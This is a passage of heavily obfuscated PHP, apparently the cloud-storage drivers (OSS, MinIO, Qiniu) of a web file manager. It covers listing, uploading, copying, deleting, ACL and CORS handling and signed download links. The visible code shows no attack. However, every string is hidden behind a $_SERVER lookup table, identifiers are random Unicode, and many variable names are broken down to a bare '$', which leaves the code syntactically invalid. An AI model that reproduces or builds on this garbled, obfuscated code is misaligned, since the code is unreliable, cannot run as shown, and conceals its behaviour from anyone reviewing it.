$this->cacheMethod($_SERVER[Ȣ][212], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[Ȣ][213], $); } protected function _objectMeta($ߔ) { $؟ =& $_SERVER[Ȣ]; $ߔ = rtrim($ߔ, $؟[8]); try { $۳ݣ = $this->client->getObjectInfo($this->bucket, $ߔ); if (!isset($۳ݣ[$؟[230]]) && isset($۳ݣ[$؟[245]])) { $۳ݣ[$؟[230]] = $۳ݣ[$؟[245]]; } } catch (Exception $) { $۳ݣ = !1; } if (!$۳ݣ) { } return $۳ݣ; } protected function _isFolder($ߡ) { $Ք =& $_SERVER[Ȣ]; $ߡ = rtrim($ߡ, $Ք[8]); if ($ߡ == $Ք[12] || $ߡ == $Ք[8]) { return !0; } $ܱ = $this->client->getBucket($this->bucket, $ߡ, null, 1); if (empty($ܱ[$Ք[211]])) { return !1; } $֙ = $ܱ[$Ք[211]][0][$Ք[32]]; return stripos($֙, $ߡ . $Ք[8]) === 0 ? !0 : !1; if (substr($֙, -1) == $Ք[8]) { return !0; } if (get_path_this($֙) == get_path_this($ߡ)) { return !1; } return !0; } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[Ȣ][225]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } goto aè; C: class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $cdnHost = ''; public function __construct($) { parent::__construct(); include_once SDK_DIR . $_SERVER[Ȣ][1392]; $this->_init($); } public function _init($) { $ =& $_SERVER[Ȣ]; foreach ($ as $ڙԪ => $) { if (isset($this->{$ڙԪ})) { $this->{$ڙԪ} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1393] . LNG($[1394])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ٝ =& $_SERVER[Ȣ]; $ = new OSS\Model\CorsConfig(); $ߕ⯟ = new OSS\Model\CorsRule(); $ߕ⯟->addAllowedOrigin($ٝ[1395]); $ߕ⯟->addAllowedMethod($ٝ[1396]); $ߕ⯟->addAllowedMethod($ٝ[1397]); $ߕ⯟->addAllowedMethod($ٝ[1398]); $ߕ⯟->addAllowedMethod($ٝ[1399]); $ߕ⯟->addAllowedMethod($ٝ[171]); $ߕ⯟->setMaxAgeSeconds(600); $ߕ⯟->addExposeHeader($ٝ[1400]); $ߕ⯟->addAllowedHeader($ٝ[1395]); $->addRule($ߕ⯟); try { $this->client->putBucketCors($this->bucket, $); } catch (OSS\Core\OssException $쒙) { return !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[Ȣ]; $ = null; try { $ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $κ) { return null; } if (!$ || !($ = $->getRules())) { return null; } $쩬 = $[0]->getAllowedOrigins(); $ = $[0]->getAllowedMethods(); $ = $[0]->getMaxAgeSeconds(); $ܼ = $[0]->getExposeHeaders(); $ = $[0]->getAllowedHeaders(); return array($[194] => isset($쩬[0]) ? $쩬[0] : $[12], $[198] => $, $[1401] => $, $[1402] => isset($ܼ[0]) ? $ܼ[0] : $[12], $[196] => isset($[0]) ? $[0] : $[12]); } public function isBucketCors() { $ =& $_SERVER[Ȣ]; $Ѻ = $this->getBucketCors(); if (!$Ѻ || !is_array($Ѻ)) { return !1; } if ($Ѻ[$[194]] != $[195] || $Ѻ[$[196]] != $[195]) { return !1; } $ = array_map($[197], $Ѻ[$[198]]); if (!is_array($)) { $ = array(); } $ = array($[199], $[200], $[201], $[202], $[203]); $Ҡ = array_diff($, $); return empty($Ҡ); } public function mkfile($, $痟 = '', $ = REPEAT_RENAME) { $ظғ = $this->setContent($, $痟); if ($ظғ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($기, $쌤ɽ = REPEAT_SKIP) { if ($this->_isFolder($기)) { return $this->getPathOuter($기); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($기)); } catch (OSS\Core\OssException $Ȣ) { return !1; } return $this->getPathOuter($기); } private function fileList($إ, $݈ = '', $Ӣ = 0) { $ =& $_SERVER[Ȣ]; $إ = trim($إ, $[8]); $ = empty($إ) && $إ !== $[204] ? $[12] : $إ . $[8]; $Վ = $[12]; $π = 1000; $Ҳ = $this->listItemCache === !1 ? !1 : !0; $ = $ֵ = array(); while (!0) { check_abort(); $¡ = array($[1403] => $݈, $[1404] => $, $[1405] => $π, $[1406] => $Վ); try { $ꯔ = $this->client->listObjects($this->bucket, $¡); } catch (OSS\Core\OssException $̆) { break; } $Վ = $ꯔ->getNextMarker(); $Ә = $ꯔ->getObjectList(); $ = $ꯔ->getPrefixList(); foreach ($Ә as $IJ) { if ($IJ->getKey() == $) { continue; } $ٛ = $IJ->getKey(); $ = $IJ->getSize(); $ᛚ = $IJ->getLastModified(); $Ŏ = $Ӣ ? array($[32] => $ٛ, $[90] => $, $[210] => strtotime($ᛚ)) : $ٛ; $ = $ == 0 && substr($ٛ, strlen($ٛ) - 1, 1) == $[8] ? !0 : !1; if ($Ҳ) { $this->cacheMethod($[212], $ٛ, $); $this->cacheMethod($[213], $ٛ, array($[90] => $, $[1407] => $, $[96] => strtotime($ᛚ), $[1408] => $ᛚ)); } if ($) { $[] = $ٛ; continue; } $ֵ[] = $Ŏ; } foreach ($ as $) { $[] = $->getPrefix(); if ($Ҳ) { $this->cacheMethod($[212], $ٛ, !0); } } if ($Վ === $[12]) { break; } } if ($Ҳ) { $this->cacheMethod($[212], $إ, !0); } return array($[87] => $, $[86] => $ֵ); } public function copyFile($Ȧ, $) { $ڵچ = $this->size($Ȧ); if ($ڵچ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $Ȧ, $this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $ݧ) { return !1; } return $this->getPathOuter($); } $λ = $this->multiCopyObject($Ȧ, $, $ڵچ); return $λ ? $this->getPathOuter($) : !1; } private function multiCopyObject($, $, $) { $ =& $_SERVER[Ȣ]; try { $ = array(); if ($ = $this->hashMd5($)) { $ = array(OSS\OssClient::OSS_HEADERS => array($[1409] => $)); } $辳 = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); $ֶի = 1; $ߛ = 0; $ = array(); $ = 1024 * 1024 * 10; $Ȫޛ = $this->client->generateMultiuploadParts($, $); foreach ($Ȫޛ as $ => $) { $Ǐ = $ߛ + (int) $[$[1410]]; $ = (int) $[$[345]] + $Ǐ - 1; $ժ = array($[1411] => $Ǐ, $[1412] => $); $[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($), $ֶի, $辳, $ժ); $ֶի = $ֶի + 1; } $ = array(); foreach ($ as $ => $ķ) { $[] = array($[1413] => $ + 1, $[1414] => $ķ); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $辳, $); } catch (OSS\Core\OssException $И̪) { return !1; } return !0; } public function moveFile($, $٤ń) { if ($this->copyFile($, $٤ń)) { $this->remove($); return $this->getPathOuter($٤ń); } return !1; } public function delFile($) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function delFolder($ʵ) { $֜ =& $_SERVER[Ȣ]; if (!$this->exist($ʵ)) { return !0; } $this->listItemCache = !1; $َ͉ = $this->fileList($ʵ); $this->listItemCache = !0; $ = trim($ʵ, $֜[8]) . $֜[8]; if (!empty($ʵ) && $ʵ !== $֜[204] && !in_array($, $َ͉[$֜[87]])) { $َ͉[$֜[87]][] = $; } $̀ = $this->delByBatch($َ͉[$֜[86]]); if (!$̀) { return !1; } $̀ = $this->delByBatch($َ͉[$֜[87]]); if (!$̀) { return !1; } return $this->delFile($); } private function delByBatch($ջ) { foreach (array_chunk($ջ, 1000) as $) { try { $this->client->deleteObjects($this->bucket, $); } catch (OSS\Core\OssException $Ч) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } private function fileInfo($ž, $ = false, $߉ = array()) { $뎛 =& $_SERVER[Ȣ]; $Ю֣ = array($뎛[32] => $this->pathThis($ž), $뎛[88] => $this->getPathOuter($ž), $뎛[33] => $뎛[206], $뎛[90] => isset($߉[$뎛[90]]) ? $߉[$뎛[90]] : 0, $뎛[181] => $this->ext($ž)); if ($) { return $Ю֣; } $Ю֣[$뎛[207]] = $Ю֣[$뎛[96]] = 0; $Ю֣[$뎛[208]] = $Ю֣[$뎛[209]] = !0; if (empty($߉)) { $܌ = $this->objectMeta($ž); if (!$܌) { return $Ю֣; } $߉ = array($뎛[96] => strtotime($܌[$뎛[1408]]), $뎛[90] => $܌[$뎛[1407]] + 0); } if (isset($߉[$뎛[90]])) { $Ю֣[$뎛[90]] = $߉[$뎛[90]]; } if (isset($߉[$뎛[96]])) { $Ю֣[$뎛[96]] = $߉[$뎛[96]]; } if (isset($߉[$뎛[210]]) && !trim($Ю֣[$뎛[96]])) { $Ю֣[$뎛[96]] = $߉[$뎛[210]]; } return $Ю֣; } private function folderInfo($, $ = false, $㡕 = array()) { $ί݂ =& $_SERVER[Ȣ]; $ч = array($ί݂[32] => $this->pathThis($), $ί݂[88] => $this->getPathOuter($ί݂[8] . $), $ί݂[33] => $ί݂[89]); if ($) { return $ч; } $ч[$ί݂[207]] = $ч[$ί݂[96]] = 0; $ч[$ί݂[208]] = $ч[$ί݂[209]] = !0; if (empty($㡕)) { $ = rtrim($, $ί݂[8]) . $ί݂[8]; $ = $this->objectMeta($); if (!$) { return $ч; } $㡕 = array($ί݂[207] => $[$ί݂[516]][$ί݂[1415]], $ί݂[96] => strtotime($[$ί݂[1408]])); } if (isset($㡕[$ί݂[96]])) { $ч[$ί݂[96]] = $㡕[$ί݂[96]]; } if (isset($㡕[$ί݂[207]])) { $ч[$ί݂[207]] = $㡕[$ί݂[207]]; } return $ч; } public function listPath($ǧ, $Ÿ = false) { $ݒ =& $_SERVER[Ȣ]; $ޔ = $this->fileList($ǧ, $ݒ[8], !0); foreach ($ޔ[$ݒ[87]] as $̆ => $˩) { $ޔ[$ݒ[87]][$̆] = $this->folderInfo($˩, $Ÿ, $˩); } foreach ($ޔ[$ݒ[86]] as $̆ => $˩) { $ޔ[$ݒ[86]][$̆] = $this->fileInfo($˩[$ݒ[32]], $Ÿ, $˩); } return $ޔ; } public function has($ٻ, $ = false, $釹 = true) { $զ =& $_SERVER[Ȣ]; $ٻ = trim($ٻ, $զ[8]); $ʗޕ = empty($ٻ) && $ٻ !== $զ[204] ? $զ[12] : $ٻ . $զ[8]; $ի = $զ[12]; $ = 500; $ = $匜 = 0; while (!0) { check_abort(); $͇ = array($զ[1403] => $զ[8], $զ[1404] => $ʗޕ, $զ[1405] => $, $զ[1406] => $ի); try { $ = $this->client->listObjects($this->bucket, $͇); } catch (OSS\Core\OssException $،) { break; } $ի = $->getNextMarker(); $Ţ = $->getObjectList(); $ɨ = $->getPrefixList(); if ($) { if (count($Ţ) > 1 || count($Ţ) == 1 && $Ţ[0]->getKey() != $ʗޕ) { $ += count($Ţ) - 1; } if (!empty($ɨ)) { $匜 += count($ɨ); } if ($ի === $զ[12]) { break; } continue; } if ($釹) { if (!empty($Ţ)) { if (count($Ţ) > 1 || $Ţ[0]->getKey() != $ʗޕ) { return !0; } } } else { if (!empty($ɨ)) { return !0; } } if ($ի === $զ[12]) { break; } } if ($) { return array($զ[216] => $, $զ[217] => $匜); } return !1; } public function listAll($) { $ =& $_SERVER[Ȣ]; $ = $this->fileList($, $[12], !0); $볙 = array(); foreach ($[$[86]] as $ܰ) { $볙[$ܰ[$[32]]] = $ܰ[$[90]]; } foreach ($[$[87]] as $ܰ) { if (is_string($ܰ)) { $볙[$ܰ] = 0; } } return $this->listAllFiles($, array_keys($볙), $볙); } public function canRead($) { $ =& $_SERVER[Ȣ]; $ى = $this->pathAcl($); return $ى == $[1416] || $ى == $[558] ? !0 : !1; } public function canWrite($Ҷ) { $ = $this->pathAcl($Ҷ); return $ == $_SERVER[Ȣ][558] ? !0 : !1; } public function pathAcl($Ъ) { $ŭ =& $_SERVER[Ȣ]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($Ъ)); } catch (OSS\Core\OssException $) { return !1; } $יƚ = $ == $ŭ[37] ? $this->bucketAcl : $; if ($יƚ == $ŭ[1417]) { return $ŭ[1416]; } if ($יƚ == $ŭ[1418]) { return $ŭ[558]; } return $יƚ; } private function chmodPath($̧, $ = '') { $̈ =& $_SERVER[Ȣ]; $҃ = empty($) ? $̈[1418] : $; $ = array($̈[37], $̈[205], $̈[1417], $̈[1418]); if (!in_array($҃, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($̧), $҃); } catch (OSS\Core\OssException $ٿ) { return !1; } return !0; } public function getContent($鼞) { return $this->fileSubstr($鼞, -1); } public function setContent($, $ç = '') { $͊ =& $_SERVER[Ȣ]; try { $ꏺҨ = $this->trafficLimit($͊[1419]); $ = $this->client->putObject($this->bucket, $this->pathEncode($), $ç, $ꏺҨ); } catch (OSS\Core\OssException $ܐԋ) { return !1; } $ = array($͊[1409] => trim($[$͊[1420]], $͊[129]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $); return isset($[$͊[1421]][$͊[1368]]) ? !0 : !1; } private function updateObjMeta($, $鿈) { $ = $this->pathEncode($); try { $ŧ = array(OSS\OssClient::OSS_HEADERS => $鿈); $this->client->copyObject($this->bucket, $, $this->bucket, $, $ŧ); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function upload($亝, $ފ, $Ͻ = false, $¡ʓ = REPEAT_REPLACE) { $͡ =& $_SERVER[Ȣ]; $ʶ՛ = trim($亝, $͡[8]); $Оܙ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($͡[1409] => @md5_file($ފ)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($亝))); $Оܙ = $this->trafficLimit($͡[1419], $Оܙ); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($ʶ՛), $ފ, $Оܙ); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($亝); } public function getHost() { $Ʈ =& $_SERVER[Ȣ]; $ޠ = explode($Ʈ[190], parent::getHost()); return $ޠ[0] . $Ʈ[190] . $this->bucket . $Ʈ[10] . $ޠ[1]; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[Ȣ]; if (!($ษ = $this->getHost())) { return !1; } $ = $; $Ϭ = date($[1422], time() + $); $ = new DateTime($Ϭ); $۱ = $->format(DateTime::ISO8601); $ = strpos($۱, $[304]); $۱ = substr($۱, 0, $) . $[1423]; $ = 1048576000 * 5; $ = $this->pathFather($); $ = array($[1322] => $۱, $[1323] => array(array($[1424], 0, $), array($[1326], $[1327], $))); $ћ = base64_encode(json_encode($)); $㨣Ě = base64_encode(hash_hmac($[240], $ћ, $this->secret, !0)); $ = array($[1332] => $ћ, $[1425] => $this->accessKey, $[1328] => $[1320], $[1426] => $㨣Ě, $[188] => $ษ); $ = $this->trafficLimit($[1419], $); return $; } public function multiUploadFormData($ѣ, $ˆڕ = 3600) { $ =& $_SERVER[Ȣ]; if (!($ = $this->getHost())) { return !1; } $ = $this->trafficLimit($[1419]); $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ѣ), $); return array($[232] => $, $[188] => $ . $[8] . $this->pathEncode($ѣ), $[233] => gmdate($[1427]), $[105] => $ѣ); } public function multiUploadAuthData($ޥ, $ޮь = array()) { $ΰ =& $_SERVER[Ȣ]; $䎤 = isset($ޮь[$ΰ[233]]) ? $ޮь[$ΰ[233]] : gmdate($ΰ[1427]); $ = isset($ޮь[$ΰ[181]]) ? $ޮь[$ΰ[181]] : $ΰ[12]; $ = $ޥ; if (isset($ޮь[$ΰ[105]])) { $ = $ޮь[$ΰ[105]]; unset($ޮь[$ΰ[105]]); } if (isset($ޮь[$ΰ[234]])) { $ޮь[$ΰ[233]] = $䎤; return $this->listUploadParts($, $ޮь); } $ = array($ΰ[235], $ΰ[12], $ΰ[131], $䎤, "\x78\x2d\157\x73\163\x2d\x64\x61\164\145\72{$䎤}", $ΰ[8] . $this->bucket . $ΰ[8] . $ . $); if (strpos($, $ΰ[236]) === 0) { $[0] = $ΰ[237]; if ($ƥ = $this->trafficLimit($ΰ[1419])) { $ = $ΰ[1428]; array_splice($, 5, 0, $ . $ΰ[4] . $ƥ[$]); } } if (isset($ޮь[$ΰ[238]]) && $ޮь[$ΰ[238]] == $ΰ[239]) { $[0] = $ΰ[239]; } if (!empty($ޮь[$ΰ[1429]])) { $з = array_merge(array($[4]), $ޮь[$ΰ[1429]]); sort($з); $[4] = implode($ΰ[66], $з); } $ê = implode($ΰ[66], $); $ݧӹ = base64_encode(hash_hmac($ΰ[240], $ê, $this->secret, !0)); $㘳 = $ΰ[1393] . $this->accessKey . $ΰ[4] . $ݧӹ; if (strpos($, $ΰ[236]) === 0) { $㘳 = array($ΰ[242] => $㘳, $ΰ[233] => $䎤); if ($ƥ) { $㘳 = array_merge($㘳, $ƥ); } } return $㘳; } public function listUploadParts($缜, $ݶ) { $ =& $_SERVER[Ȣ]; $ = parse_url_query($ݶ[$[181]]); $ق = $this->client->listParts($this->bucket, $this->pathEncode($缜), $[$[232]]); $ = $ق->getListPart(); $ = array(); foreach ($ as $) { $[] = array($[1413] => $->getPartNumber(), $[1414] => trim($->getETag(), $[129])); } unset($ݶ[$[234]], $ݶ[$[238]]); $ = $this->multiUploadAuthData($缜, $ݶ); if (empty($)) { return !1; } return array($[242] => $, $[233] => $ݶ[$[233]], $[244] => $); } public function download($䑁, $Dž) { if ($this->isFolder($䑁)) { return !1; } try { $뫦 = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $Dž); $뫦 = $this->trafficLimit($_SERVER[Ȣ][120], $뫦); $this->client->getObject($this->bucket, $this->pathEncode($䑁), $뫦); } catch (OSS\Core\OssException $֗ݔ) { return !1; } return $Dž; } public function fileSubstr($Լ, $ = 0, $ߙ = false) { if ($ === -1) { $ = array(); } else { if ($ߙ === !1) { $ = $this->size($Լ); } else { $ = $ + $ߙ - 1; } $ = array(OSS\OssClient::OSS_RANGE => "{$}\55{$}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($Լ), $); } catch (OSS\Core\OssException $܀) { think_exception($܀->getMessage()); return !1; } } private function trafficLimit($Ɗٍ, $ = array()) { $ =& $_SERVER[Ȣ]; if ($Ɗٍ == $[1419] && $this->isUploadServer() || $Ɗٍ == $[120] && $this->isFileOutServer()) { return $; } $ɠ = floatval($GLOBALS[$[6]][$[100]][$[118]][$Ɗٍ]) * 1024 * 1024 * 8; if (!$ɠ) { return $; } $ɠ = $ɠ < 819200 ? 819200 : ($ɠ > 838860800 ? 838860800 : $ɠ); $[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($ɠ); return $; } public function link($Ҿǚ, $ȚĘ = array()) { $، =& $_SERVER[Ȣ]; if (!$this->exist($Ҿǚ) || $this->isFolder($Ҿǚ)) { return !1; } try { $ȚĘ = $this->trafficLimit($،[120], $ȚĘ); $ٳ = $this->client->signUrl($this->bucket, $this->pathEncode($Ҿǚ), 3600 * 12, $،[239], $ȚĘ); return $this->getCdnLink($ٳ); } catch (OSS\Core\OssException $ȅ) { return !1; } } public function fileOut($, $к = false, $㣧ۖ = false, $ײ = '') { $ =& $_SERVER[Ȣ]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $к, $㣧ۖ, $ײ); } if (!$㣧ۖ) { $㣧ۖ = $this->pathThis($); } $㣧ۖ = rawurlencode($㣧ۖ); $֑ = get_file_mime(get_path_ext($㣧ۖ)); if ($֑ == $[226]) { return parent::fileOut($, $к, $㣧ۖ, $ײ); } $к = $к ? $[1430] : $[1431]; $⥹ = array(OSS\OssClient::OSS_SUB_RESOURCE => $[1432] . rawurlencode("{$к}\x3b\x66\x69\154\x65\x6e\141\x6d\145\75{$㣧ۖ}")); $⥹[OSS\OssClient::OSS_SUB_RESOURCE] .= $[1433] . rawurlencode($֑); $Й = $this->link($, $⥹); $this->fileOutLink($Й); } public function fileOutServer($ۺ, $ƌ = false, $ؗ = false, $Ҫ = '') { parent::fileOut($ۺ, $ƌ, $ؗ, $Ҫ); } public function fileOutImage($Ѓ, $ = 250) { $߂ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[Ȣ][1434] . $); $۷ = $this->link($Ѓ, $߂); $this->fileOutLink($۷); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function fileOutLink($) { $ׇӌ =& $_SERVER[Ȣ]; if (!$this->isCdnHost() && substr($, 0, 7) == $ׇӌ[1335]) { $ = $ׇӌ[1336] . substr($, 7); } header($ׇӌ[172] . $); die; } public function hashMd5($ݬ, $ = '') { $ =& $_SERVER[Ȣ]; $߂ = $this->_objectMeta($ݬ); if (!$߂) { return $[12]; } if (!isset($߂[$[1409]]) && !empty($)) { $ہ = $this->updateObjMeta($ݬ, array($[1409] => $)); $߂[$[1409]] = $ہ ? $ : $[12]; } return isset($߂[$[1409]]) ? strtolower($߂[$[1409]]) : $[12]; } public function size($) { $Ԉ = $this->objectMeta($); return $Ԉ ? $Ԉ[$_SERVER[Ȣ][90]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($ʅ) { return $this->isFile($ʅ) || $this->isFolder($ʅ); } public function isFile($ك) { return !$this->isFolder($ك) && $this->objectMeta($ك); } public function isFolder($) { return $this->cacheMethod($_SERVER[Ȣ][212], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[Ȣ][213], $); } protected function _objectMeta($ҧ) { $̓¾ =& $_SERVER[Ȣ]; try { $Ϫ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($ҧ)); } catch (OSS\Core\OssException $꣕ر) { $Ϫ = !1; } if ($Ϫ) { $Ϫ[$̓¾[90]] = intval($Ϫ[$̓¾[1407]]); } return $Ϫ; } protected function _isFolder($) { $뤽 =& $_SERVER[Ȣ]; if ($ == $뤽[12] || $ == $뤽[8]) { return !0; } $̞ = array($뤽[1403] => $뤽[8], $뤽[1404] => rtrim($, $뤽[8]) . $뤽[8], $뤽[1405] => 1, $뤽[1406] => $뤽[12]); $ = $this->client->listObjects($this->bucket, $̞); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $config = null; protected $bucketManager = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public function __construct($Θ) { parent::__construct(); require_once SDK_DIR . $_SERVER[Ȣ][1435]; $this->_init($Θ); } public function _init($ݧԆ) { $ =& $_SERVER[Ȣ]; foreach ($ݧԆ as $ƺ => $ۘ) { if (isset($this->{$ƺ})) { $this->{$ƺ} = $ۘ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1436] . LNG($[1394])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->config = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->config); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($Є, $Ś = '', $ = REPEAT_RENAME) { if ($this->setContent($Є, $Ś)) { return $this->getPathOuter($Є); } return !1; } public function mkdir($或, $ = REPEAT_SKIP) { $ =& $_SERVER[Ȣ]; $Ѕ = trim($或, $[8]); if ($this->_isFolder($Ѕ)) { return $this->getPathOuter($Ѕ); } $或 = $Ѕ . $[8]; $ʤɉ = get_path_this($Ѕ); $ = $或 . $ʤɉ; if (!$this->mkfile($)) { return !1; } if (!$this->moveFile($, $或)) { $this->delFile($); return !1; } return $this->getPathOuter($Ѕ); } public function copyFile($, $֠Զ) { $ʤ = $this->bucketManager->copy($this->bucket, $, $this->bucket, $֠Զ, !0); return $ʤ ? !1 : $this->getPathOuter($֠Զ); } public function moveFile($, $) { $ = $this->bucketManager->move($this->bucket, $, $this->bucket, $, !0); return $ ? !1 : $this->getPathOuter($); } public function delFile($Ò) { if (!$this->exist($Ò)) { return !0; } $ = $this->bucketManager->delete($this->bucket, $Ò); return $ ? !1 : !0; } public function delFolder($ύ) { $ =& $_SERVER[Ȣ]; if (!$this->exist($ύ)) { return !0; } $this->listItemCache = !1; $к = $this->fileList($ύ); $this->listItemCache = !0; $̎а = trim($ύ, $[8]) . $[8]; if (!empty($ύ) && $ύ !== $[204] && !in_array($̎а, $к[$[87]])) { $к[$[87]][] = $̎а; } $ʨ = $this->delByBatch($к[$[86]]); if (!$ʨ) { return !1; } $ʨ = $this->delByBatch($к[$[87]]); if (!$ʨ) { return !1; } return $this->delFile($̎а); } private function delByBatch($ɀ) { foreach (array_chunk($ɀ, 1000) as $) { $ = $this->bucketManager->buildBatchDelete($this->bucket, $); list($ޞ, $צѕ) = $this->bucketManager->batch($); if ($צѕ) { return !1; } } return !0; } public function rename($烚, $Ƈ) { return $this->renameObject($烚, $Ƈ); } public function fileInfo($䂳η, $ = false, $ = array()) { $˪ =& $_SERVER[Ȣ]; $Ӂ = array($˪[32] => $this->pathThis($䂳η), $˪[88] => $this->getPathOuter($˪[8] . $䂳η), $˪[33] => $˪[206], $˪[90] => isset($[$˪[1437]]) ? $[$˪[1437]] : 0, $˪[181] => $this->ext($䂳η)); if ($) { return $Ӂ; } $Ӂ[$˪[207]] = $Ӂ[$˪[96]] = 0; $Ӂ[$˪[208]] = $Ӂ[$˪[209]] = !0; if (empty($)) { $ = $this->objectMeta($䂳η); if (!$) { return $Ӂ; } } if (isset($[$˪[1438]])) { $Ӂ[$˪[96]] = substr($[$˪[1438]] . $˪[12], 0, 10); } if (isset($[$˪[1437]])) { $Ӂ[$˪[90]] = $[$˪[1437]]; } return $Ӂ; } public function folderInfo($۟, $ާ = false) { $˃ =& $_SERVER[Ȣ]; $ڸ = array($˃[32] => $this->pathThis($۟), $˃[88] => $this->getPathOuter($˃[8] . $۟), $˃[33] => $˃[89]); if ($ާ) { return $ڸ; } $ڸ[$˃[207]] = $ڸ[$˃[96]] = 0; $ڸ[$˃[208]] = $ڸ[$˃[209]] = !0; $۟ = rtrim($۟, $˃[8]) . $˃[8]; $ɜן = $this->objectMeta($۟); if (isset($ɜן[$˃[1438]])) { $ڸ[$˃[96]] = substr($ɜן[$˃[1438]] . $˃[12], 0, 10); } return $ڸ; } public function listPath($ڌ, $ﻫ = false) { $ڙ =& $_SERVER[Ȣ]; $ɂʨ = $this->fileList($ڌ, $ڙ[8], !0); foreach ($ɂʨ[$ڙ[87]] as $ݭ => $ۖȖ) { $ɂʨ[$ڙ[87]][$ݭ] = $this->folderInfo($ۖȖ, $ﻫ); } foreach ($ɂʨ[$ڙ[86]] as $ݭ => $ۖȖ) { $ɂʨ[$ڙ[86]][$ݭ] = $this->fileInfo($ۖȖ[$ڙ[105]], $ﻫ, $ۖȖ); } return $ɂʨ; } public function has($, $ʨ = false, $ƙ = true) { $Ð㬊 =& $_SERVER[Ȣ]; $ = trim($, $Ð㬊[8]); $ = empty($) && $ !== $Ð㬊[204] ? $Ð㬊[12] : $ . $Ð㬊[8]; $է = $Ð㬊[12]; $㋒ = 500; $ưҦ = $Ð㬊[8]; $֒ʎ = $ׁ = 0; while (!0) { check_abort(); list($, $) = $this->bucketManager->listFiles($this->bucket, $, $է, $㋒, $ưҦ); if ($) { break; } $է = array_key_exists($Ð㬊[1406], $) ? $է = $[$Ð㬊[1439]] : $Ð㬊[12]; if ($ʨ) { if (!empty($[$Ð㬊[1440]])) { $֒ʎ += count($[$Ð㬊[1440]]); } if (!empty($[$Ð㬊[1441]])) { $ׁ += count($[$Ð㬊[1441]]); } if ($է === $Ð㬊[12]) { break; } continue; } if ($ƙ) { if (!empty($[$Ð㬊[1440]])) { return !0; } } else { if (!empty($[$Ð㬊[1441]])) { return !0; } } if ($է === $Ð㬊[12]) { break; } } if ($ʨ) { return array($Ð㬊[216] => $֒ʎ, $Ð㬊[217] => $ׁ); } return !1; } public function listAll($ᮄ) { $ =& $_SERVER[Ȣ]; $ϒܾ = $this->fileList($ᮄ, $[12], !0); $ = array(); foreach ($ϒܾ[$[86]] as $) { $[$[$[105]]] = $[$[90]]; } foreach ($ϒܾ[$[87]] as $) { if (is_string($)) { $[$] = 0; } } return $this->listAllFiles($ᮄ, array_keys($), $); } private function fileList($֯, $ȳ = '', $Ԝ = 0) { $ =& $_SERVER[Ȣ]; $֯ = trim($֯, $[8]); $ = empty($֯) && $֯ !== $[204] ? $[12] : $֯ . $[8]; $哚 = $[12]; $ = 1000; $ = $this->listItemCache === !1 ? !1 : !0; $ׇ = $¥Ϭ = array(); while (!0) { check_abort(); list($㠱, $έڜ) = $this->bucketManager->listFiles($this->bucket, $, $哚, $, $ȳ); if ($έڜ) { break; } $哚 = array_key_exists($[1406], $㠱) ? $哚 = $㠱[$[1439]] : $[12]; $ҽ = isset($㠱[$[1440]]) ? $㠱[$[1440]] : array(); $Ⱥ = isset($㠱[$[1441]]) ? $㠱[$[1441]] : array(); foreach ($ҽ as $犐) { if ($犐[$[105]] == $) { continue; } $緥 = $犐[$[105]]; $ = 